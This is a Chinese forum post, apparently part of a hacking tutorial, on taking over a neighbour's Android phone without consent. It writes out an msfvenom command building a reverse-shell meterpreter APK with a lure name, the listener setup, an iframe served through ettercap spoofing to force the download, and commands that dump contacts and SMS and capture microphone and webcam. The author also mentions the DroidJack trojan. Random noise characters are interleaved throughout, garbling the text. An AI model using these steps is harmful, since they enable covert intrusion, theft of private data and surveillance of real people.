|
8 u3 h! r: [. S: W, g8 c/ X
五、msf+ettercap入侵邻居安卓手机 R+ x; V, n' Z. H: n
- m( H- h5 F5 g5 v& R% ` b p) |5 y6 o. _
首先启动msf * _) {8 M0 q2 X
# v' O4 l7 E/ D' J" C5 e) O6 c
8 B o7 s! s4 p1 d0 ^1 z& C7 B 先用kali生成一个安卓木马，如下命令：
L; h$ F% m/ r5 | 8 [6 f; [) c7 P
9 ?6 F2 b8 R" V' E Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk 5 b6 j: t4 u0 e' U+ k! ]
/ l4 g7 u; c Y5 u1 t, N! l) f' L& U0 G X0 M( n; e- r+ v
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 5 B& \" N, B9 u' F2 a& T! Q$ C7 ], x' g4 a
* F4 n8 J7 v0 a: O
9 l" Z$ _# b+ _ E. h; z6 ^( x1 [ 然后进入msf 7 t$ B3 G6 S5 |' V' z8 u( r, d m3 Z
, k. o1 T* R" @( k; y1 A5 x/ H
1 n+ D# ^- i2 [
use exploit/multi/handler
( b7 i5 t. X H
) o7 \9 ~3 a3 b9 ~+ i" ]
9 y+ ?) Y0 g5 Q set payload android/meterpreter/reverse_tcp
! h) ~+ c: x. a
1 M& E4 G- h1 ^
' Y0 M5 q- R# F2 o0 B: z3 ~, [ set LHOST 192.168.0.109 //ip为kaili的ip 4 s4 b: X3 y5 T4 i/ \! G8 ~+ `
: |- r- D- y" P! M' z( C3 S. m' G
. E; k, {5 s$ R
set LPORT 44444 //端口一定要与前面生成的木马的端口一致 . m- J& g T" M1 ?. p
, u5 H9 I) r' E3 K; ~" w" X* I# u4 h
! n1 R& }# W! ]$ _) C7 r
Exploit
- C* I N' \8 k 6 `% P. c! W9 A2 G
) C" z; w+ R0 t7 A3 B
 5 }( ~7 g' Y8 A4 q
$ G- d) w" _) [% ~3 i9 ]' U
5 j7 ]% e9 W) g: V/ p 下面我们开启ettercap -G 5 ^# ^3 z" S6 C+ p3 |" Q
/ X" z% F7 x& a& H9 z
4 i7 @ m, P2 K4 s$ G 我物理IP为 6 Q: W0 b S" g
* h# |+ X* g( A% d; u) p& [. B w! E# _ h: Q
 1 @0 f. M) C) N* s6 K5 g# q
: o/ `+ M1 ~- `% U! D
- `& E) f8 n6 l, E! e8 m$ A 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， - C* N3 A7 P5 r6 {9 J
" U/ T$ h+ y; [1 @8 O6 r
. L0 t1 N$ w! Y. j t 下面我们来设置一下
; h. ]1 g7 _, Q& f. F6 r' }4 g, m
- G9 G" e- E% w1 K
4 |1 B6 e, l; W0 d2 x$ F0 w  ' e% J' {9 E* C( [8 Q
3 Y* C/ [- ?3 L
: U$ [( y0 G. r ^ 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
" b& p d; C, I2 f 7 ]( A( y5 Q' X' a
S0 D5 y8 p+ u2 \: E, a2 B : a. [3 M! C2 E4 v
) E7 a, i5 e: J/ a3 o. G
$ b. p8 k0 y* E0 ?! f6 g7 a 
+ v, Z, M$ e" r; A7 d
5 W: a1 c4 @* A2 M& E2 q* o* b' z2 b2 Q! H0 L p2 X/ T
& u0 x* q- P# ~3 G2 P; g8 g
2 c3 r" O" a. l. `
5 C$ w/ c; |2 K- K; t) d . C' [, a: b5 }6 ]2 w" ], E
( p) G- _/ m( h; K; U3 o1 m' r9 q
3 @8 c) b) m( ~, P' o
( ]$ L/ R$ H5 G- j+ ]$ M8 g
. e. o8 Z* F$ H [0 l' Y9 d
- o) s; } }* F: a8 ?2 X ' Y' O9 R" D; [1 o
' V4 ~- i5 `. K
: `* p ^9 C0 [& i ' m; k. | ^! B5 R! z3 p) {
2 B2 G$ J) w$ G* y* i+ @- }% ]
0 _0 t! Y7 u$ `1 B1 ]
8 v5 a% R& u+ h9 Z2 T$ B; p' d2 S) [ ! r! E2 |& \3 n: Z
9 H$ l9 K0 N; ?1 b3 j- P2 \/ q 8 g7 v* i/ w4 S8 K; T
) W$ q* R( \* D7 B
" v+ N! a4 k3 i9 P7 R2 X/ H
. h( K2 Q) A5 s* a9 }: J1 E 7 k& n6 i% D: w
6 p% H) s- m1 ]2 P; g$ W
) e' s8 Q! t i" t2 t ^
7 Y4 F2 U- v$ f l5 e5 R' d a' J. d1 m
; `# B5 Z$ A1 u4 _1 ^2 V
, Z3 j) s) [. Y5 \$ K
6 c' ?- a' ^7 i* | 
% `! X9 g* Y6 w 5 @' s7 s* r& C. T- C% X9 ?2 |0 }
; [9 Q7 D& @% l5 V1 P- ~& ~
下面我们开始攻击 ' L2 l( j5 z. v" P
8 f8 d, W$ X* C
- N% g" \' u& D0 x - q' ^, m8 q& V! F+ c) A. V
4 ]% z/ f5 Y: K- V* c/ k9 U$ g( g
& b/ ~2 X/ E' B7 N. c & t g8 b7 G, \. ~* G7 [
8 ^/ n7 A+ s9 p/ t. A
9 }" y7 r5 F; T
# C ^1 [3 y, Y0 C$ ?4 d6 N# ^ , I7 |; V! G4 m1 W* q5 k
4 \6 [6 \2 E. _9 i
4 a8 Z) z3 Z: ?3 P2 R
: }- [" F u1 T4 X& L% O$ s+ X9 s* A" u2 X- A$ r
 0 j0 a- e U. ]7 m% q2 `
0 Z& m3 H$ x# p$ n' ]! o5 A. i6 u- \% F, x6 j5 z1 R+ a+ M
大概过了5分钟多，发现反弹成功了 ( p% ^/ ?. x' b8 `0 E/ H
' V5 K, r' z8 r1 C2 A' }
) G% `) ~# |$ ]0 s' s) _: u : t( O3 k0 c& d: U; ~+ G
9 K6 W; r% R# O
4 @& s9 V# ]8 X+ x
, L1 R$ f) g% r3 l; f: f0 |" D # R& E) S5 `+ q7 [7 t- R8 S9 M* l
+ L# X6 s% M6 t: d
+ f4 i$ a& a& B% h7 B4 @
* p- c/ E" u% n
0 X! T$ ]: O3 s' k( P0 c1 d( o3 V
4 d0 U! W7 B+ U
) S. a. n) w0 C: f5 ?9 C& d& ~4 i$ _$ ?3 w, L5 a3 Q
+ R; a! @+ \3 |0 r3 Q/ j8 T
& s% R: m" s& H# _9 _
# i2 p. I6 o A" l K( }" D 0 ^5 Q. Q9 F/ a9 e
; B5 e1 h+ q% |1 c }9 k% o) p
. s( w$ [% {0 b( I! o! }
' J! X, X7 \$ R6 m ( i4 f, z" z! j/ S$ r' n `
2 q# d0 J% l/ q3 p% c& u, d 执行命令
# H/ o9 d/ f6 v- A" s0 ? " {, Z0 d7 b. J6 u+ @
9 T6 V4 L) ]( ]! K G- [+ j - ^$ P$ v( P) v
) P: ^( ]$ x( _5 \& A' B' s: o0 [( q# a, }2 ?3 j& T8 e
dump_contacts --》这个是导出电话 8 ~1 o) U F' A7 P
{8 K+ e% H/ X( o" ]/ c7 ?
( e& V7 C0 \$ l9 z( S" q% |# r
dump_sms --》这个是导出信息
c4 C t; o' ^1 ]( O8 o; C
4 \# k' _4 u4 @- o5 a/ C
. Q, I- o' w7 p3 Q record_mic Record audio from the default microphone for X seconds
' m5 e# G( ^) p, ?+ m
, g) B s; X& ?% G$ p" Q' S
$ X0 ]* w" T0 I8 x) ]5 c webcam_chat Start a video chat . U# ~0 Y' V& z( i; T
+ ], M# |: y- W$ g" b N; v. R
9 ?% x7 G7 H: L6 V4 o0 p webcam_list List webcams % Z5 J- _7 O X; }# z( D9 H
: x% N" ?: y+ }$ X0 l2 O4 O
! a( f5 x" l! u- t# W. m5 {
webcam_snap Take a snapshot from the specified webcam + z- n- [ e4 q1 Y
7 C; k# n% r( ~) n; Z
1 A% `/ u. ?; G
webcam_stream  lay a video stream from the specified webcam 1 _6 S* N8 V ^
4 @0 R; I* c, j& p: M/ j& s
$ s" L7 y/ w% z/ i6 k* g( J& [
 * P7 e5 D1 i! t7 a# A) l
8 y* N- _0 s& R! y. q- I ~3 w/ t! T/ G4 x
 * [8 n, k+ A+ x& o$ [
. t4 _2 L+ l S* A5 z$ b
, v; m6 Z4 s9 k' [7 p k1 G" G
我们打开看一下电话薄，
% s0 H4 I/ [4 K3 w
s/ ^9 N" V8 a! r+ D- K1 U: h$ d
. \: [7 j! A; g; j6 ]& I4 h
2 X3 r" U" K* {; L
# p$ u. Q7 N9 Z- D  ( J F0 { V: _7 V: }; M
$ J. D$ [! l) }9 X
% Q& x1 r; {4 l& T: b8 ?& O: p
3 o" T9 t) t- o9 _0 r
. T9 R$ }3 W5 I( U& S2 F' i) Q" _, n) e
 0 P7 k/ K9 Y; y, `1 W2 k& P2 L
; R9 I2 H; J( B5 r0 H1 w8 N" O# \; ]
L4 J5 J; a2 K' D, N( y
- e( h- e! W, w 7 }: K% D# }( j; Z0 _" G+ n! U
# V) D3 V( y6 }5 y
3 Q0 R0 ?0 \- t: x/ }/ ?3 `0 d 2 ] d( ^0 n) ~" z& N
$ p5 y& r- ?8 E3 l- n
我们同时欺骗成DroidJack木马，使用方法如图： : s1 o+ D3 D+ m# e5 ?
( R) U# l/ k, \( [! |4 U$ v2 P2 |0 t* k
& V& A" @1 |8 [* B& W  + U b8 a* D' v \$ \
0 y$ z. v9 m; s& `- Q9 X
7 l4 R5 l! }+ R- M% A" X
5 ] R# \& H/ J. D
3 C" g& v6 E: T' B0 [3 r0 H% b ?
9 ]6 f: j5 d3 I6 j8 [8 V
 4 k" l. J9 }2 \" x7 q1 V
7 u! B; X2 |4 l: G
9 c8 j( u. u" E8 G4 I2 `" J
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 1 U+ ?" ?( Q/ e X) r' S, z+ N2 i
( F* C, p( e H& z3 b2 J
' [' D% I1 R0 N( z# d3 g& | I a  2 O0 Z& } s, |- `8 H
. \& p, K4 Z- u
3 m' B7 d5 S" C! Q9 R
 8 A- ^2 `. X! I' r
$ d3 H1 m! E/ k+ W, {4 d
& C( p8 G: [- R  - O5 d" F/ ?* p$ l
3 i' w/ @* @, }5 \$ Y
# |5 y* F9 y1 Q5 K' G
  : g- {! e& C2 x3 g1 J
, M* T. A Z: g7 O# P5 n: ?
& C7 E' W( {" M, s) x5 j
@! q: O+ j& L( ^ O
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对